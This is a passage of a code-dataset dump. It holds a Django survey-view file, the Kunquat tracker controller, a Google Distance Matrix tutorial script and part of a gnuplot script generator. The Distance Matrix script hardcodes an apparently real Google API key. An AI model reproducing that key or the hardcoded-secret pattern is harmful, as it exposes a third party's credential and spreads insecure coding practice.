import timezone\n    \"\"\"  AGREGAR UN TEST: \n              POST - Este caso se presenta cuando se completo un nuevo test \n                     * params: respondent, [ lista de respuestas ]\n                     * postcondicion: un objeto de tipo PersonalTest agreagado a la BD con sus respuestas correspondientes\n                     1. procedimiento: \n                          a. se busca el respondent, el usuario\n                          b. se busca un objeto PersonalTest con los usuarios anteriores\n                                - si el objeto ya se encontraba agregado se procede a verificar calificacion\n                                - si el objeto es acabad de agregar se procede a agregar todas las respuestas  que el corresponden\n\n              GET - Este caso se da cuando se inicia una encuesta\n                    * params: cedule - representa la cedula del respondent al que se le hara la encuesta\n                    * post: una encuesta con todas las caracteristicas cargadas y listas para responder\n                    1. se busca al objeto respondent \n                        - si el objeto es encontrado \"\"\"\n    \n    if request.POST: \n        try:\n            personal_test = PersonalTest.objects.get(id=request.POST.get('personal_test'));\n            for key in request.POST:\n                if key != 'csrfmiddlewaretoken' and key != 'respondent':\n                    try:\n                        answer = Answer.objects.get(id= request.POST.get(key))\n                        personal_test.answers.add(answer)\n                    except Exception as e:\n                        return HttpResponse(\"views de encuestas en linea 181\")\n            return redirect('/accounts/pollster/respondent/test/'+str(personal_test.id)+'/')\n        except Exception as e:\n            return HttpResponse(str(e))\n#FALTA COMPARAR EL AnyoO PARA LA FORMULACION DE LA ENTREVISTA\n    if request.GET:\n        try:\n            respondet = Respondent.objects.get(cedule = request.GET.get('cedule'))\n            personal_test,created = PersonalTest.objects.get_or_create(pollster=request.user.profile, respondent = respondet);\n            feature_list = Feature.objects.all()\n            params = {\n                'features'  : feature_list,\n                'personal_test': personal_test\n            }  \n            if created: # si creo el elemento\n                return render_to_response(\"test/test.html\",params,context_instance=RequestContext(request))          \n            else:\n                # return render_to_response(\"test/test.html\",params,context_instance=RequestContext(request))          \n                return redirect('/accounts/pollster/respondent/test/'+str(personal_test.id)+'/')\n        except Exception : #si no encontro el respondent            \n            return redirect(\"/respondent/search.html\")    \n    return redirect(\"/accounts/pollster/respondet/\")\n\n\n\n\n\ndef eval_test(request,eval):\n    if request.POST: #si se envio la calificacion     \n        try:\n            personal_test = PersonalTest.objects.get(id= request.POST.get('personal_test') )\n            for featuer_id in request.POST:\n                if  not featuer_id == 'csrfmiddlewaretoken' and not featuer_id == 'personal_test':\n                    feature = Feature.objects.get(id=featuer_id)\n                    Calification.objects.get_or_create(feature = feature, personal_test = personal_test,value = request.POST.get(featuer_id))\n            return redirect(\"/accounts/pollster/\")\n        except Exception as e:\n           return HttpResponse(str(e)+\"---uu\")\n    else: # si se va cargar la calificacion\n        try: \n           personal_test = PersonalTest.objects.get(id=eval);\n           califications = Calification.objects.filter(personal_test=personal_test)\n           if not personal_test.is_cualified():\n               feature_list = Feature.objects.all()\n               params = {\n                    'features'  : feature_list,\n                    'personal_test' : personal_test,\n                    'pollster'  : request.user,\n                    'califications': califications\n\n                }  \n           else:\n               return HttpResponse(\"ya se califico\")\n        except Exception as e:\n            return HttpResponse(\"no se encontro esa evalucion vews.py 236\")\n        return render_to_response(\"test/eval_test.html\",params,context_instance = RequestContext(request))\n    # return HttpResponse(\"no se encontro esa evalucion\")\n\n","sub_path":"obsan/accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"566624105","text":"# -*- coding: utf-8 -*-\n\n#\n# Authors: Tomi Jylhä-Ollila, Finland 2013-2016\n#          Toni Ruottu, Finland 2013-2014\n#\n# This file is part of Kunquat.\n#\n# CC0 1.0 Universal, http://creativecommons.org/publicdomain/zero/1.0/\n#\n# To the extent possible under law, Kunquat Affirmers have waived all\n# copyright and related or neighboring rights to Kunquat.\n#\n\nimport re\nimport sys\nimport json\nimport time\nimport tarfile\nimport tempfile\nfrom io import BytesIO\nimport os.path\n\nfrom kunquat.kunquat.kunquat import get_default_value\nfrom kunquat.kunquat.limits import *\nimport kunquat.tracker.cmdline as cmdline\nfrom kunquat.tracker.ui.model.triggerposition import TriggerPosition\nimport kunquat.tracker.ui.model.tstamp as tstamp\n\nfrom .kqtivalidator import KqtiValidator\nfrom .store import Store\nfrom .session import Session\nfrom .share import Share\nfrom .updater import Updater\nfrom .notechannelmapper import NoteChannelMapper\n\n#TODO: figure a place for the events\nEVENT_SELECT_CONTROL = '.a'\nEVENT_NOTE_ON = 'n+'\nEVENT_HIT = 'h'\nEVENT_NOTE_OFF = 'n-'\nEVENT_SET_INIT_EXPRESSION = '.xi'\nEVENT_SET_EXPRESSION = '.x'\n\n\nclass Controller():\n\n    def __init__(self):\n        self._push_amount = None\n        self._audio_levels = (0, 0)\n        self._store = None\n        self._session = None\n        self._share = None\n        self._updater = None\n        self._note_channel_mapper = None\n        self._audio_engine = None\n        self._ui_model = None\n\n    def set_ui_model(self, ui_model):\n        self._ui_model = ui_model\n\n    def set_store(self, store):\n        self._store = store\n\n    def get_store(self):\n        return self._store\n\n    def set_session(self, session):\n        self._session = session\n\n    def get_session(self):\n        return self._session\n\n    def set_share(self, share):\n        self._share = share\n\n    def get_share(self):\n        return self._share\n\n    def set_updater(self, updater):\n        self._updater = updater\n\n    def get_updater(self):\n        return self._updater\n\n    def set_note_channel_mapper(self, note_channel_mapper):\n        self._note_channel_mapper = note_channel_mapper\n        self._note_channel_mapper.set_controller(self)\n\n    def set_audio_engine(self, audio_engine):\n        self._audio_engine = audio_engine\n        self._store.set_audio_engine(audio_engine)\n\n    def _remove_prefix(self, path, prefix):\n        preparts = prefix.split('/')\n        keyparts = path.split('/')\n        for pp in preparts:\n            kp = keyparts.pop(0)\n            if pp != kp:\n                 return None\n        return '/'.join(keyparts)\n\n    def create_sandbox(self):\n        transaction = {\n            'album/p_manifest.json'               : {},\n            'album/p_tracks.json'                 : [0],\n            'song_00/p_manifest.json'             : {},\n            'song_00/p_order_list.json'           : [[0, 0]],\n            'pat_000/p_manifest.json'             : {},\n            'pat_000/instance_000/p_manifest.json': {},\n            'out_00/p_manifest.json'              : {},\n            'out_01/p_manifest.json'              : {},\n        }\n        self._store.put(transaction)\n\n    def get_task_load_module(self, module_path):\n        values = dict()\n        if module_path[-4:] in ['.kqt', '.bz2']:\n            prefix = 'kqtc00'\n            tfile = tarfile.open(module_path, format=tarfile.USTAR_FORMAT)\n            members = tfile.getmembers()\n            member_count = len(members)\n            self.update_import_progress(0, member_count)\n            for i, entry in zip(range(member_count), members):\n                yield\n                tarpath = entry.name\n                key = self._remove_prefix(tarpath, prefix)\n                assert (key != None) #TODO broken file exception\n                if entry.isfile():\n                    value = tfile.extractfile(entry).read()\n                    if key.endswith('.json'):\n                        decoded = json.loads(str(value, encoding='utf-8'))\n                    else:\n                        decoded = value\n                    values[key] = decoded\n                self.update_import_progress(i + 1, member_count)\n            tfile.close()\n            self._store.put(values)\n            self._store.clear_modified_flag()\n            self._updater.signal_update(set(['signal_controls', 'signal_module']))\n\n            self._reset_expressions()\n\n    def get_task_save_module(self, module_path):\n        assert module_path\n        tmpname = None\n        with tempfile.NamedTemporaryFile(delete=False) as f:\n            compression_suffix = ''\n            if module_path.endswith('.bz2'):\n                compression_suffix = '|bz2'\n            elif module_path.endswith('.gz'):\n                compression_suffix = '|gz'\n            mode = 'w' + compression_suffix\n\n            with tarfile.open(mode=mode, fileobj=f, format=tarfile.USTAR_FORMAT) as tfile:\n                prefix = 'kqtc00'\n                for key, value in self._store.items():\n                    yield\n                    path = '/'.join((prefix, key))\n                    if key.endswith('.json'):\n                        encoded = bytes(json.dumps(value), encoding='utf-8')\n                    else:\n                        encoded = value\n                    info = tarfile.TarInfo(name=path)\n                    info.size = len(encoded)\n                    encoded_file = BytesIO(encoded)\n                    tfile.addfile(info, encoded_file)\n\n                tmpname = f.name\n\n        if tmpname:\n            os.rename(tmpname, module_path)\n\n        self._updater.signal_update(set(['signal_save_module_finished']))\n\n    def get_task_export_audio_unit(self, au_id, au_path):\n        assert au_path\n        tmpname = None\n        with tempfile.NamedTemporaryFile(delete=False) as f:\n            compression_suffix = ''\n            if au_path.endswith('.bz2'):\n                compression_suffix = '|bz2'\n            elif au_path.endswith('.gz'):\n                compression_suffix = '|gz'\n            mode = 'w' + compression_suffix\n\n            with tarfile.open(mode=mode, fileobj=f, format=tarfile.USTAR_FORMAT) as tfile:\n                prefix = 'kqti00'\n                au_prefix = au_id + '/'\n                au_keys = [k for k in self._store.keys() if k.startswith(au_prefix)]\n                for key in au_keys:\n                    yield\n                    value = self._store[key]\n                    path = '{}/{}'.format(prefix, key[len(au_prefix):])\n                    if key.endswith('.json'):\n                        encoded = bytes(json.dumps(value), encoding='utf-8')\n                    else:\n                        encoded = value\n                    info = tarfile.TarInfo(name=path)\n                    info.size = len(encoded)\n                    encoded_file = BytesIO(encoded)\n                    tfile.addfile(info, encoded_file)\n\n                tmpname = f.name\n\n        if tmpname:\n            os.rename(tmpname, au_path)\n\n        self._updater.signal_update(set(['signal_export_au_finished']))\n\n    def get_task_load_audio_unit(\n            self, kqtifile, au_id, control_id=None, is_sandbox=False):\n        for _ in kqtifile.get_read_steps():\n            yield\n        contents = kqtifile.get_contents()\n\n        # Validate contents\n        validator = KqtiValidator(contents)\n        for _ in validator.get_validation_steps():\n            yield\n        if not validator.is_valid():\n            self._session.set_au_import_error_info(\n                    kqtifile.get_path(), validator.get_validation_error())\n            self._updater.signal_update(\n                    set(['signal_au_import_error', 'signal_au_import_finished']))\n            return\n\n        transaction = {}\n\n        # Add audio unit data to the transaction\n        for (key, value) in contents.items():\n            dest_key = '{}/{}'.format(au_id, key)\n            transaction[dest_key] = value\n\n        # Connect instrument\n        if transaction['{}/p_manifest.json'.format(au_id)]['type'] == 'instrument':\n            # Add instrument control\n            if ('/' not in au_id) and control_id:\n                control_num = int(control_id.split('_')[1], 16)\n                au_num = int(au_id.split('_')[1], 16)\n\n                control_map = self._store.get('p_control_map.json', [])\n                control_map.append([control_num, au_num])\n\n                transaction['p_control_map.json'] = control_map\n                transaction['{}/p_manifest.json'.format(control_id)] = {}\n\n            # Get output ports of the containing device\n            if '/' in au_id:\n                parent_au_id = au_id.split('/')[0]\n                module = self._ui_model.get_module()\n                parent_au = module.get_audio_unit(parent_au_id)\n                parent_out_ports = sorted(parent_au.get_out_ports())\n            else:\n                parent_out_ports = ['out_00', 'out_01']\n\n            # Get instrument output ports (manually since the model has no access yet)\n            ins_out_ports = []\n            key_pattern = re.compile(\n                    '{}/out_[0-9a-f]{{2}}/p_manifest.json'.format(au_id))\n            for path in transaction:\n                if key_pattern.match(path) and transaction[path] != None:\n                    ins_out_port = path.split('/')[-2]\n                    ins_out_ports.append(ins_out_port)\n            ins_out_ports = sorted(ins_out_ports)\n\n            # Connect if the number of output ports match\n            if parent_out_ports and (len(parent_out_ports) == len(ins_out_ports)):\n                sub_au_id = au_id.split('/')[-1]\n                conns = self._store.get('p_connections.json', [])\n                for (send_port, recv_port) in zip(ins_out_ports, parent_out_ports):\n                    conns.append(['{}/{}'.format(sub_au_id, send_port), recv_port])\n                transaction['p_connections.json'] = conns\n\n        # Send data\n        self._store.put(transaction)\n\n        self._updater.signal_update(\n                set(['signal_controls', 'signal_au_import_finished']))\n\n        if (not is_sandbox) and ('/' not in au_id):\n            visibility_manager = self._ui_model.get_visibility_manager()\n            visibility_manager.show_connections()\n\n    def _reset_runtime_env(self):\n        self._session.reset_runtime_env()\n        self._updater.signal_update(set(['signal_runtime_env']))\n\n    def _reset_expressions(self):\n        self._session.reset_active_init_expressions()\n\n        channel_defaults = self._ui_model.get_module().get_channel_defaults()\n        for i in range(CHANNELS_MAX):\n            init_expr_name = channel_defaults.get_initial_expression(i)\n            self._session.set_default_init_expression(i, init_expr_name)\n\n    def _check_update_random_seed(self):\n        rand_seed_update_key = 'i_random_seed_auto_update.json'\n        rand_seed_key = 'p_random_seed.json'\n        if self._store.get(rand_seed_update_key, False):\n            old_seed = self._store.get(\n                    rand_seed_key, get_default_value(rand_seed_key))\n            new_seed = (old_seed + 1) % 2**63\n            transaction = { rand_seed_key: new_seed }\n            self._store.put(transaction, mark_modified=False)\n            self._updater.signal_update(set(['signal_random_seed']))\n\n    def call_post_action(self, action_name, args):\n        getattr(self, action_name)(*args)\n\n    def _reset_with_post_action(self, action, *args):\n        assert hasattr(self, action.__name__)\n        self._audio_engine.reset_and_pause()\n        self._audio_engine.sync_call_post_action(action.__name__, args)\n\n    def play(self):\n        if self._session.is_playback_active():\n            self._check_update_random_seed()\n        self._reset_with_post_action(self._play)\n\n    def _play(self):\n        self._session.reset_max_audio_levels()\n        self._reset_expressions()\n        self._reset_runtime_env()\n\n        if self._session.get_infinite_mode():\n            self._audio_engine.tfire_event(0, ('cinfinite+', None))\n\n        self._audio_engine.tfire_event(0, ('cresume', None))\n        self._session.set_playback_active(True)\n\n    def play_pattern(self, pattern_instance):\n        if self._session.is_playback_active():\n            self._check_update_random_seed()\n        self._reset_with_post_action(self._play_pattern, pattern_instance)\n\n    def _play_pattern(self, pattern_instance):\n        self._session.reset_max_audio_levels()\n        self._reset_expressions()\n        self._reset_runtime_env()\n\n        if self._session.get_infinite_mode():\n            self._audio_engine.tfire_event(0, ('cinfinite+', None))\n\n        play_event = ('cpattern', pattern_instance)\n        self._audio_engine.tfire_event(0, play_event)\n\n        self._session.reset_max_audio_levels()\n        self._reset_expressions()\n        self._audio_engine.tfire_event(0, ('cresume', None))\n        self._session.set_playback_active(True)\n\n    def play_from_cursor(self, pattern_instance, row_ts):\n        if self._session.is_playback_active():\n            self._check_update_random_seed()\n        self._reset_with_post_action(self._play_from_cursor, pattern_instance, row_ts)\n\n    def _play_from_cursor(self, pattern_instance, row_ts):\n        self._session.reset_max_audio_levels()\n        self._reset_expressions()\n        self._reset_runtime_env()\n\n        if self._session.get_infinite_mode():\n            self._audio_engine.tfire_event(0, ('cinfinite+', None))\n\n        set_goto_pinst = ('c.gp', pattern_instance)\n        set_goto_row = ('c.gr', row_ts)\n        self._audio_engine.tfire_event(0, set_goto_pinst)\n        self._audio_engine.tfire_event(0, set_goto_row)\n        self._audio_engine.tfire_event(0, ('cg', None))\n\n        self._session.reset_max_audio_levels()\n        self._reset_expressions()\n        self._audio_engine.tfire_event(0, ('cresume', None))\n        self._session.set_playback_active(True)\n\n    def silence(self):\n        self._reset_with_post_action(self._silence)\n\n        if self._session.is_playback_active():\n            self._check_update_random_seed()\n\n        self._session.set_playback_active(False)\n\n    def _silence(self):\n        self._session.reset_max_audio_levels()\n        self._reset_runtime_env()\n        self._reset_expressions()\n\n        # Reset active notes\n        for ch in range(CHANNELS_MAX):\n            self._session.set_active_note(ch, 'n-', None)\n\n        if self._session.get_infinite_mode():\n            self._audio_engine.tfire_event(0, ('cinfinite+', None))\n\n    def set_infinite_mode(self, enabled):\n        self._session.set_infinite_mode(enabled)\n\n        event_name = 'cinfinite+' if self._session.get_infinite_mode() else 'cinfinite-'\n        self._audio_engine.tfire_event(0, (event_name, None))\n\n    def get_infinite_mode(self):\n        return self._session.get_infinite_mode()\n\n    def start_tracked_note(self, channel_number, control_id, event_type, param):\n        assert event_type in (EVENT_NOTE_ON, EVENT_HIT)\n\n        module = self._ui_model.get_module()\n        control = module.get_control(control_id)\n        au = control.get_audio_unit()\n\n        if self._session.are_au_test_expressions_enabled(au.get_id()):\n            expressions = []\n            for i in range(2):\n                expr_name = au.get_test_expression(i)\n                if expr_name:\n                    expressions.append(expr_name)\n        else:\n            channel_defaults = self._ui_model.get_module().get_channel_defaults()\n            expressions = [channel_defaults.get_initial_expression(channel_number)]\n\n        note = self._note_channel_mapper.get_tracked_note(channel_number, False)\n        self.set_active_note(\n                note.get_channel(), control_id, event_type, param, expressions)\n        return note\n\n    def set_active_note(\n            self, channel_number, control_id, event_type, param, expressions):\n        # Get control override event\n        parts = control_id.split('_')\n        second = parts[1]\n        control_number = int(second, 16)\n        control_event = (EVENT_SELECT_CONTROL, control_number)\n\n        # Get expression override and restore events\n        orig_init_expr = self._session.get_active_init_expression(channel_number)\n        clear_expr_event = (EVENT_SET_INIT_EXPRESSION, '')\n        restore_expr_event = (EVENT_SET_INIT_EXPRESSION, orig_init_expr)\n\n        # Fire events\n        self._audio_engine.fire_event(channel_number, control_event)\n        note_on_or_hit_event = (event_type, param)\n        self._audio_engine.fire_event(channel_number, clear_expr_event)\n        self._audio_engine.fire_event(channel_number, note_on_or_hit_event)\n        for expression in expressions:\n            apply_expr_event = (EVENT_SET_EXPRESSION, expression)\n            self._audio_engine.fire_event(channel_number, apply_expr_event)\n        self._audio_engine.fire_event(channel_number, restore_expr_event)\n\n    def set_rest(self, channel_number):\n        note_off_event = (EVENT_NOTE_OFF, None)\n        self._audio_engine.fire_event(channel_number, note_off_event)\n\n    def notify_kunquat_exception(self, e):\n        raise e\n\n    def notify_kunquat_assertion(self, e):\n        raise e\n\n    def update_output_speed(self, fps):\n        self._session.set_output_speed(fps)\n        self._updater.signal_update()\n\n    def update_render_speed(self, fps):\n        self._session.set_render_speed(fps)\n        self._updater.signal_update()\n\n    def update_render_load(self, load):\n        self._session.set_render_load(load)\n        self._updater.signal_update()\n\n    def update_audio_levels(self, levels):\n        self._session.set_audio_levels(levels)\n        self._updater.signal_update()\n\n    def update_ui_lag(self, lag):\n        self._session.set_ui_lag(lag)\n        self._updater.signal_update()\n\n    def update_selected_control(self, channel, control_id):\n        self._session.set_selected_control_id_by_channel(channel, control_id)\n        self._updater.signal_update()\n\n    def update_active_note(self, channel, event_type, pitch):\n        self._session.set_active_note(channel, event_type, pitch)\n        self._updater.signal_update()\n\n    def update_active_var_name(self, ch, var_name):\n        self._session.set_active_var_name(ch, var_name)\n\n    def update_active_var_value(self, ch, var_value):\n        self._session.set_active_var_value(ch, var_value)\n        self._updater.signal_update(set(['signal_runtime_env']))\n\n    def update_init_expression(self, ch, expr_name):\n        self._session.set_active_init_expression(ch, expr_name)\n\n    def set_runtime_var_value(self, var_name, var_value):\n        # Get current active variable name\n        old_name = self._session.get_active_var_name(0) or ''\n\n        # Set new value\n        name_event = ('c.evn', var_name)\n        value_event = ('c.ev', var_value)\n        self._audio_engine.tfire_event(0, name_event)\n        self._audio_engine.tfire_event(0, value_event)\n\n        # Restore old active variable name so that we don't mess up playback\n        old_name_event = ('c.evn', old_name)\n        self._audio_engine.tfire_event(0, old_name_event)\n\n    def send_queries(self):\n        location_feedback_event = ('qlocation', None)\n        self._audio_engine.tfire_event(0, location_feedback_event)\n\n    def update_pending_playback_cursor_track(self, track):\n        self._session.set_pending_playback_cursor_track(track)\n\n    def update_pending_playback_cursor_system(self, system):\n        self._session.set_pending_playback_cursor_system(system)\n\n    def update_playback_cursor(self, row):\n        self._session.set_playback_cursor(row)\n        if self._session.get_record_mode():\n            self.move_edit_cursor_to_playback_cursor()\n        self._updater.signal_update(set(['signal_playback_cursor']))\n\n    def move_edit_cursor_to_playback_cursor(self):\n        (track, system, row) = self._session.get_playback_cursor_position()\n        selection = self._ui_model.get_selection()\n        current_location = selection.get_location()\n        col_num = current_location.get_col_num()\n        row_ts = tstamp.Tstamp(*row)\n        new_location = TriggerPosition(track, system, col_num, row_ts, 0)\n        selection.set_location(new_location)\n\n    def update_event_log_with(self, channel_number, event_type, event_value, context):\n        self._session.log_event(channel_number, event_type, event_value, context)\n        self._updater.signal_update()\n\n    def update_import_progress(self, position, steps):\n        self._session.set_progress_position(position)\n        self._session.set_progress_steps(steps)\n        self._updater.signal_update()\n\n    def confirm_valid_data(self, transaction_id):\n        self._store.confirm_valid_data(transaction_id)\n\n\ndef create_controller():\n    store = Store()\n    session = Session()\n    share_path = os.path.join(cmdline.get_install_prefix(), 'share', 'kunquat')\n    share = Share(share_path)\n    updater = Updater()\n    note_channel_mapper = NoteChannelMapper()\n    controller = Controller()\n    controller.set_store(store)\n    controller.set_session(session)\n    controller.set_share(share)\n    controller.set_updater(updater)\n    controller.set_note_channel_mapper(note_channel_mapper)\n    return controller\n\n\n","sub_path":"kunquat/tracker/ui/controller/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":21137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"564146876","text":"from __future__ import division\nfrom __future__ import print_function\nimport requests\nimport json\nimport urllib\n\n\ndef create_data():\n  ### Creates the data.\n  data = {}\n  data['API_key'] = 'AIzaSyAJNMb6TPHQ1ZrYtwqG1953e-y1c1dFt7w'\n  #data['addresses'] = ['3610+Hacks+Cross+Rd+Memphis+TN', # depot\n                    #    '1921+Elvis+Presley+Blvd+Memphis+TN',\n                    #    '149+Union+Avenue+Memphis+TN',\n                    #    '1034+Audubon+Drive+Memphis+TN',\n                    #    '1532+Madison+Ave+Memphis+TN',\n                    #    '706+Union+Ave+Memphis+TN',\n                    #    '3641+Central+Ave+Memphis+TN',\n                    #    '926+E+McLemore+Ave+Memphis+TN',\n                    #    '4339+Park+Ave+Memphis+TN',\n                    #    '600+Goodwyn+St+Memphis+TN',\n                    #    '2000+North+Pkwy+Memphis+TN',\n                    #    '262+Danny+Thomas+Pl+Memphis+TN',\n                    #    '125+N+Front+St+Memphis+TN',\n                    #    '5959+Park+Ave+Memphis+TN',\n                    #    '814+Scott+St+Memphis+TN',\n                    #    '1005+Tillman+St+Memphis+TN'\n                    #   ]\n\n  # data['addresses'] = ['21/19+Donovan+St+Blockhouse+Bay+Auckland', # depot\n  #                      '3/7+Heaphy+St+Blockhouse+Bay+Auckland',\n  #                      'Queen+Street+Auckland',\n  #                      'New+Lynn+Auckland',\n  #                      'Henderson+Auckland'\n  # ]\n\n  data['addresses'] = ['21/19+Donovan+St+Blockhouse+Bay+Auckland', # depot\n\t\t\t                  '3/7+Heaphy+St+Blockhouse+Bay+Auckland',\n\t\t\t                  'Queen+Street+Auckland',\n\t\t\t                  'New+Lynn+Auckland',\n\t\t\t                  'Henderson+Auckland'\n\t\t]\n  print()\n  for row in data['addresses']:\n    print(row)\n  print()\n  return data\n\ndef create_distance_matrix(data):\n  addresses = data[\"addresses\"]\n  API_key = data[\"API_key\"]\n  # Distance Matrix API only accepts 100 elements per request, so get rows in multiple requests.\n  max_elements = 100\n  num_addresses = len(addresses) # 16 in this example.\n  # Maximum number of rows that can be computed per request (6 in this example).\n  max_rows = max_elements // num_addresses\n  # num_addresses = q * max_rows + r (q = 2 and r = 4 in this example).\n  q, r = divmod(num_addresses, max_rows)\n  dest_addresses = addresses\n  distance_matrix = []\n  # Send q requests, returning max_rows rows per request.\n  for i in range(q):\n    origin_addresses = addresses[i * max_rows: (i + 1) * max_rows]\n    response = send_request(origin_addresses, dest_addresses, API_key) # Create URL\n    distance_matrix += build_distance_matrix(response) # List Concatenation\n\n  # Get the remaining remaining r rows, if necessary.\n  if r > 0:\n    origin_addresses = addresses[q * max_rows: q * max_rows + r]\n    response = send_request(origin_addresses, dest_addresses, API_key)\n    distance_matrix += build_distance_matrix(response)\n  return distance_matrix\n\ndef send_request(origin_addresses, dest_addresses, API_key):\n  ### Build and send request for the given origin and destination addresses.\n  ### This function creates a URL to access the json file through the API. and grab distance.\n  def build_address_str(addresses):\n    # Build a pipe-separated string of addresses\n    address_str = ''\n    for i in range(len(addresses) - 1):\n      address_str += addresses[i] + '|'\n    address_str += addresses[-1]\n    return address_str\n\n  request = 'https://maps.googleapis.com/maps/api/distancematrix/json?units=metric'\n  origin_address_str = build_address_str(origin_addresses) # Same number of addresses as Max Rows\n  dest_address_str = build_address_str(dest_addresses) # All destination addresses\n  request = request + '&origins=' + origin_address_str + '&destinations=' + \\\n                       dest_address_str + '&key=' + API_key\n  jsonResult = urllib.request.urlopen(request).read()\n  response = json.loads(jsonResult)\n  return response\n\ndef build_distance_matrix(response):\n\t### List concatenation happens in this function\n  distance_matrix = []\n  for row in response['rows']:\n\t  row_list = [row['elements'][j]['distance']['value'] for j in range(len(row['elements']))]\n\t  distance_matrix.append(row_list)\n  return distance_matrix\n\n########\n# Main #\n########\ndef main():\n  ### Entry point of the program\n  # Create the data.\n  data = create_data()\n  addresses = data['addresses']\n  API_key = data['API_key']\n  distance_matrix = create_distance_matrix(data)\n  for row in distance_matrix:\n\t  print(row)\n\n\nif __name__ == '__main__':\n  main()\n\n''' \n\nTomorrow's tasks:\n1. Create a 'var' data structure or something. Something that can be input directly into HTML (Proof of concept. Later Leaflet or whatever)\n2. Put the Distance Matrix code in same place as the TSP code.\n3. Figure a way to call/interface with HTML from python and vice versa (maybe just writing to file?)\n4. Figure a way to load a map on browser (html, open! from python)\n5. Figure a way to draw lines\n6. Basically, while you're doing all the plotting as above, see if there is a way to plot from ortools directly!\n7. Web scraping for Countdown locations! Plot em.\n8. See if there's a way to click on HTML map and store the clicks. That database of lng/lat convert to address.\n9. This code did address to API distance matrix. \n  9.1 Is there a way to do Address to Lat/Lng to plot on HTML map?\n  9.2 What about plotting straight Address on HTML map?\n  9.3 What about using lat/lng as the input for distance matrix (currently it's addresses (english) see above in this file!)\n  \n\nTony:\n1. Bilevel optimisation: Start with #drivers, then second problem is placing them and setting their routes\n2. This might also be iterative/ML focused/Heuristics\n3. Convert to Capacitated VRP or time-window VRP\n'''","sub_path":"Tutorials/OR-Tools/GoogleDistanceMatrixAPI.py","file_name":"GoogleDistanceMatrixAPI.py","file_ext":"py","file_size_in_byte":5760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"518710022","text":"import os\nimport numpy\nimport summarizeRuntimes\n\ndef addModelNameToP( md, mn ):\n    idx = md.find( 'p', 0 )\n    while idx>-1:\n        if idx+1<len(md) and md[idx+1].isdigit():\n            md = md[0:idx] + mn + \"_\" + md[idx:]\n        idx = md.find( 'p', idx+len(mn)+2)\n    return md\n    \ndef genGnuplotScripts( modelNames, modelDefs, modelNumParas, modelParaDefaults, dirName, sizes, modelPlotTemplate, residuePlotTemplate ):\n    fitCmd = '''\n#!/gnuplot\nset print \"fit-models.log\"\nFIT_LIMIT = 1e-9\n'''\n    for i in range(0, len(modelNames)):\n        paraListStr = ''\n        for j in range(0, modelNumParas[i]):\n            fitCmd += '%s_p%d = %g \\n' % (modelNames[i], j, modelParaDefaults[i][j])\n            if j>0:\n                paraListStr += ','\n            paraListStr += '%s_p%d' % (modelNames[i], j)\n        fitCmd += '%s(x) = %s\\n' % (modelNames[i], addModelNameToP( modelDefs[i], modelNames[i] ))\n        fitCmd += 'fit %s(x) \"gnuplotTrainFile.txt\" via %s\\n' % (modelNames[i], paraListStr)  #'%s_p0'%modelNames[i])\n        fitCmd += 'pr \"%s fit: \"' % modelNames[i]\n        for j in range(0, modelNumParas[i]):\n            fitCmd += ', %s_p%d, \" \"' % (modelNames[i], j)\n        fitCmd += '\\n'\n\n    with open( dirName + \"/fitModels.plt\", \"w\" ) as fitScriptFile:\n        print >>fitScriptFile, fitCmd\n    try:\n        os.mkdir( dirName + \"/bootstrap\" )\n    except:\n        pass\n    os.system( \"cp %s/fitModels.plt %s/bootstrap/bootstrap-fit.plt\" % (dirName, dirName))\n\n    os.system( \"cp %s/fitModels.plt %s/plotModels.plt\" % (dirName, dirName))\n    os.system( \"cat %s/%s >>%s/plotModels.plt\" % (dirName, modelPlotTemplate, dirName))\n    plotCmd = \"\"\"\nset output '%s'\nplot [%d:%d]\\\\\n    'gnuplotTrainFile.txt' title 'Support data'\"\"\" % (\"fittedModels.pdf\", max(1, sizes[0]-(sizes[1]-sizes[0])/2), sizes[-1]+(sizes[-1]-sizes[-2])/2)\n    for i in range(0, len(modelNames)):\n        plotCmd += \"\"\", \\\\\n    %s(x) w l lt 2 lc %d title '%s. model'\"\"\" % (modelNames[i], 3+i, modelNames[i])\n    for i in range(0, len(modelNames)):\n        plotCmd += \"\"\", \\\\\n    'gnuplotTestFile.txt' using 1:%d:%d with filledcurves lc %d title '%s. model bootstrap intervals'\"\"\" % (7+2*i, 8+2*i, 3+i, modelNames[i])\n    plotCmd += \"\"\", \\\\\n    'gnuplotTestFile.txt' using 1:3:5:6:4 title 'Challenge data (with confidence intervals)' lc 1 ps 0.3 with candlesticks whiskerbars fs solid 1.0     #yerrorbars\"\"\"\n    with open( dirName + \"/plotModels.plt\", \"a\" ) as plotScriptFile:\n        print >>plotScriptFile, plotCmd\n\n    os.system( \"cat %s/%s >>%s/plotResidues.plt\" % (dirName, residuePlotTemplate, dirName))\n    plotCmd = \"\"\"\nset output '%s'\nplot [%d:%d]\\\\\"\"\" % (\"fittedResidues.pdf\", max(1, sizes[0]-(sizes[1]-sizes[0])/2), sizes[-1]+(sizes[-1]-sizes[-2])/2)\n    for i in range(0, len(modelNames)):\n        plotCmd += \"\"\"\n'residueFile.txt' using 1:%d w l lc %d title '%s. Model Residues', \\\\\"\"\" % (2+i, 3+i, modelNames[i])\n    for i in range(0, len(modelNames)):\n        plotCmd += \"\"\"\n'residueTrainFile.txt' using 1:%d lc %d pt 1 %s, \\\\\"\"\" % (2+i, 3+i, \"title 'Support Data'\" if i==0 else \"notitle\")\n    for i in range(0, len(modelNames)):\n        plotCmd += \"\"\"\n'residueTestFile.txt' using 1:%d lc %d pt 2 %s, \\\\\"\"\" % (2+i, 3+i, \"title 'Challenge Data'\" if i==0 else \"notitle\")\n    plotCmd += \"\"\"\n0 w l lc 7 lt 1 notitle\"\"\"\n    with open( dirName + \"/plotResidues.plt\", \"a\" ) as plotScriptFile:\n        print >>plotScriptFile, plotCmd\n\ndef genGnuplotFiles(dirName, sizes, runtimes, statIntervals, obsvLos, obsvUps, predLos, predUps, threshold, statistic):\n    dirName = \".\"\n    with open(dirName+\"/gnuplotTrainFile.txt\", 'w') as gnuplotFile: \n        for i in range(0, threshold):\n            gnuplotFileLine = \"%d %f %f %f\" % (sizes[i], runtimes[i], obsvLos[i], obsvUps[i])\n            for j in range(0, len(predLos)):\n                